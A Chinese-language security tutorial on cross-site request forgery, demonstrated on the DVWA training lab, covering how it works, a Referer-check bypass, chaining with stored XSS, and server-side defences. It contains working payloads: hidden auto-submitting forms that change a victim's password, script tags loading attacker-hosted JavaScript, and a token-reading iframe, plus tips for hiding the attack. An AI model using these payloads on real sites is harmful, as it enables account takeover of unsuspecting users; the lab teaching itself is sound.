WEB安全之CSRF
Posted 小白学IT
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WEB安全之CSRF相关的知识,希望对你有一定的参考价值。
大家好,我是阿里斯,一名IT行业小白。今天分享的内容是CSRF相关知识,不求表哥们打赏,只求点点在看,点点转发。
CSRF漏洞概述
CSRF(Cross-Site Request Forgery),中文名为跨站请求伪造,是一种Web攻击方式。该漏洞是一种挟持用户在当前已登录的Web应用程序上执行非本意操作的攻击方法。通俗点说就是恶意攻击者窃取了你在某个网站的身份,以你的名义发送恶意请求。
CSRF漏洞可以做什么呢?
它可以以你的名义发邮件、发消息、转账、修改密码、删除文章/留言/评论.......
CSRF漏洞原理
产生原因
网站没有进行严格的身份验证,只验证了请求来自某个用户的浏览器,却不能保证这个请求是用户自愿发出的。
举例:用户阿鱼使用IE浏览器访问网站A,并在该网站有登录状态(未退出登录),这时阿鱼使用IE浏览器访问了网站B,网站B发出一个网站A的密码修改请求,网站A服务器接收修改密码请求后,进行身份验证发现这个请求来源与用户A的浏览器不再检验该请求是否由用户发出,直接进行数据修改操作。
CSRF漏洞利用条件
通过CSRF漏洞原理我们可以得知受害者需要完成两个动作才可能被攻击:
1、登录信任网站A,并生成相关的会话信息
2、在没有退出网站A的情况下,使用同一个浏览器访问网站B
不经意发生的事:
1、你不能保证你登录了一个网站后,不再打开另一个页面访问其它网站。
2、你不能保证关闭浏览器之后,你的本地Cookie立刻过期,你上次的会话已经结束。
3、原理图中所谓的B网站(恶意服务器),很有可能是一个存在其它漏洞的可信任网站
CSRF之POC制作
现在有各种工具来完成一个POC的制作,但是工具完成的就是死板,任然需要我们去进行修改,以达到访问即触发,请求不跳转的完美POC。接下来我们使用burpsuite来生成一个简易的POC,然后改造成理想POC。
burpsuite生成CSRF_POC
1、打开你要测试的页面,开启浏览器代理,burpsuite开启拦截,这里我们以dvwa来进行测试
将安全等级调为low,然后找到csrf模块,输入密码进行修改,吧修改密码的请求包拦
2、使用burpsuite生POC,在抓到数据表的页面右键,然后按照图片的操作执行即可
3、一起来修改代码
4、测试效果
dvwa这边处于登录状态,然后使用同一浏览,访问刚刚构造的POC
如果你想让攻击更加隐蔽,可以弄一个404的代码或者其它正常的代码,也可以使用纯js构造表单然后加载到一个正常网站的页面中,这就是攻击于无形。
CSRF分类及靶机演示(DVWA)
CSRF根据请求分为GET类型和POST类型,最初人们以为只有GET类型CSRF是有危害的,后来发现POST类型的CSRF其实同样是可以被利用的。
短链接
为有效实现GET类型的攻击,我们需要把get类型的url进行短url生成
http://tool.chinaz.com/tools/dwz.aspx
csrf绕过referer验证
很多网站会通过验证referer是否合法来判断是否是用户操作,但是他可能只是验证referer中是否包含该网站的referer。如DVWA的判断原理是取出请求中的referer值,然后将host的值取出,然后判断在referer值中有没有出现host值,如果出现则认为是正常请求,否则就拒绝请求。
绕过思路
将攻击文件的文件名改为该网站的域名(请求时的host值).......
<html>
<body>
<form action="http://192.168.1.44/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="test" />
<input type="hidden" name="password_conf" value="test" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
xss+csrf组合拳----dvwa版
1、打开DVWA,将Security Level等级改为low,进入csrf模块,进行密码修改,这里要使用burpsuite抓包
2、使用burpsuite生成一个csrf的poc
3、copy生成的poc,然后作一个修改(利用iframe控制页面跳转,隐藏信息)
<html>
<body>
<iframe name="target" style="display: none;"></iframe>
<form action="http://192.168.1.44/DVWA-master/vulnerabilities/csrf/" id="form" target="target">
<input type="hidden" name="password_new" value="123.com" />
<input type="hidden" name="password_conf" value="123.com" />
<input type="hidden" name="Change" value="Change" />
</form>
<script>
var form = document.getElementById('form');
form.submit();
</script>
</body>
</html>
4、进入xss模块,将payload放入xss模块即可实现攻击(使用储存型xss)
<script src="x" onerror=javascript:window.open("http://192.168.1.7/st_test/csrf/csrf_low.html")></script>
另外一种方式
# 文件名 csrf_js_pocjs
var form = document.createElement('form');
form.action='http://192.168.1.44/DVWA-master/vulnerabilities/csrf/';
form.target='target';
var pass1 = document.createElement('input');
pass1.name="password_new";
pass1.value = '123456';
var pass2 = document.createElement('input');
pass2.name = 'password_conf';
pass2.value = "123456";
var change = document.createElement('input');
change.name='Change';
change.value='Change';
form.appendChild(pass1);
form.appendChild(pass2);
form.appendChild(change);
document.body.append(form)
form.submit();
payload
<script src="http://192.168.1.7/st_test/csrf/csrf_js_poc.js">
</script>
csrf结合xss绕过token防御
token作为身份令牌,如果该值足够随机,那么安全系数将是很高的,按照这种逻辑这里不应该存在csrf漏洞,但是如果网站存在XSS漏洞的话,那么这里的token就将形同虚设。我们可以利用xss获取到token值,然后利用该值发起请求,从而构造相应从csrf攻击。但是这里存在一个问题,那就是同源策略会限制我们的脚本,这里我们只能打出token,然后再诱惑用户点击我们构造的页面,这样也会造成危害,但是这里由于token随机性,可能每次刷新页面就会失效,所以可利用的概率就比较小了。
<iframe src='../csrf/' onload="alert(frames[0].document.getElementsByName('user_token')[0].value)">
CSRF防御
服务器角度:
关键操作增加验证码
验证referer
使用足够随机的token
用户角度
养成良好习惯,访问完一个网站,点击退出账户的好习惯
点赞、关注、转发、在看
以上是关于WEB安全之CSRF的主要内容,如果未能解决你的问题,请参考以下文章